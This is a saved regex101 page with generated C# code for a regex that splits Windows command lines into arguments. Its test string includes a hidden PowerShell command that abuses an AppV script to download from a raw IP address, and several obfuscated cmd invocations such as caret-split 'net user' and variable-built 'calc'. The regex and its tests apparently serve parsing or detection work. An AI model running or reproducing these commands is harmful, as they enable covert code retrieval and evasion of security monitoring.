Regular Expressions 101

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An explanation of your regex will be automatically generated as you type.
Detailed match information will be displayed here automatically.
  • All Tokens
  • Common Tokens
  • General Tokens
  • Anchors
  • Meta Sequences
  • Quantifiers
  • Group Constructs
  • Character Classes
  • Flags/Modifiers
  • Substitution
  • A single character of: a, b or c
    [abc]
  • A character except: a, b or c
    [^abc]
  • A character in the range: a-z
    [a-z]
  • A character not in the range: a-z
    [^a-z]
  • A character in the range: a-z or A-Z
    [a-zA-Z]
  • Any single character
    .
  • Alternate - match either a or b
    a|b
  • Any whitespace character
    \s
  • Any non-whitespace character
    \S
  • Any digit
    \d
  • Any non-digit
    \D
  • Any word character
    \w
  • Any non-word character
    \W
  • Non-capturing group
    (?:...)
  • Capturing group
    (...)
  • Zero or one of a
    a?
  • Zero or more of a
    a*
  • One or more of a
    a+
  • Exactly 3 of a
    a{3}
  • 3 or more of a
    a{3,}
  • Between 3 and 6 of a
    a{3,6}
  • Start of string
    ^
  • End of string
    $
  • A word boundary
    \b
  • Non-word boundary
    \B

Regular Expression

/
/
gmJ

Test String

Code Generator

Generated Code

using System; using System.Text.RegularExpressions; public class Example { public static void Main() { string pattern = @"(?#\ Doc: This regex will split the commandline in arguments Details: The arg variable will contain all the different arguments argument delimiters are in two categories : whitespaces delimiters : \t \n \r \v ' ' ',' : is a delimiter in the windows cmd but it's not one in the powershell quotation delimiters : \' \` \"" Variables: arg : will contain each argument Next variables can be adjusted by adding or deleting delimiters quote_delimiters : quoted argument delimiters whitespace_delimiters : whitespace argument delimiters )(?#\ )(?<arg>(?#\ )(?<arg_quote>(?#\ )(?<quote_delimiters>""|'|`)(?#\ )(?:(?#\ )(?!\3)(?#\ )(?<escape>(?(?!\\)[\x00-\xFF]|[\x00-\xFF]{2}))(?#\ ))*(?#\ )\3(?#\ ))|(?<arg_whitespace>(?#\ )(?:(?#\ )(?!(?#\ )(?<whitespace_delimiters>\s|$)|(?#\ )(?P>quote_delimiters)(?#\ ))(?#\ )(?P>escape)(?#\ ))+(?#\ ))(?#\ ))(?#\ )(?#\ )(?#\ Related doc: https://docs.microsoft.com/fr-fr/cpp/c-language/parsing-c-command-line-arguments?view=vs-2019 http://daviddeley.com/autohotkey/parameters/parameters.htm )"; string input = @"""C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe"" --type=renderer /prefetch:1 ""R:\Coficine\MCI\01 Activités\03 PARTICIPATIONS\2 Sociétés\1 Particip. actuelles\Monello Productions\03. Dossier client\01. KYC\Actionnariat\Actionnariat - 2018-05-03.pdf"" ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -NonInteractive -WindowStyle Hidden -ExecutionPolicy RemoteSigned -Command &amp;{$env:psmodulepath = [IO.Directory]::GetCurrentDirectory(); import-module AppvClient; Sync-AppvPublishingServer \n;(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;Invoke-WebRequest -Uri http://209.97.141.246/ee/index_files/alert.css} ""UNIT TESTS :"" '' arg0\ \ \\ ""arg1\""\"" ""arg2\""\\""arg3 \"" 'arg4""arg4""' arg5 arg6 space_bef_and_aft__arg0 arg1 arg2 arg3 space_aft___________arg0 arg1 arg2 arg3 space_bef__________arg0 arg1 arg2 arg3 nospace_____________arg0 arg1 arg2 arg3 multispace______________arg0 arg1 arg2 arg3 arg4 C:\ProgramData\Anaconda3\python.exe C:\ProgramData\Anaconda3\cwp.py C:\ProgramData\Anaconda3 C:\ProgramData\Anaconda3\python.exe C:\ProgramData\Anaconda3\Scripts\jupyter-notebook-script.py ""%USERPROFILE%/"" . `echo `ls ""/tmp""``'``' 1""3""4"" n^e^t u^s^er cmd /c ""set x=calc & echo %x% | cmd"" cmd /c ""set x=c@alc & echo %x:@=mantvydas% | cmd"" \c \\ \' \"" '\'\'\'\'\'\'\'\\' '# this will take the C character from %programdata% and will launch the cmd prompt' %programdata:~0,1%md \c ""whatever"" @cmd set pSM PSModulePath=C:\Users\mantvydas\Documents\WindowsPowerShell\Modules;.... FOR /F ""tokens=7 delims=s\\"" %g IN ('set^|findstr PSM') do %g cmd,/c;hostname "; RegexOptions options = RegexOptions.Multiline; foreach (Match m in Regex.Matches(input, pattern, options)) { Console.WriteLine("'{0}' found at index {1}.", m.Value, m.Index); } } }

Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for C#, please visit: https://msdn.microsoft.com/en-us/library/system.text.regularexpressions.regex(v=vs.110).aspx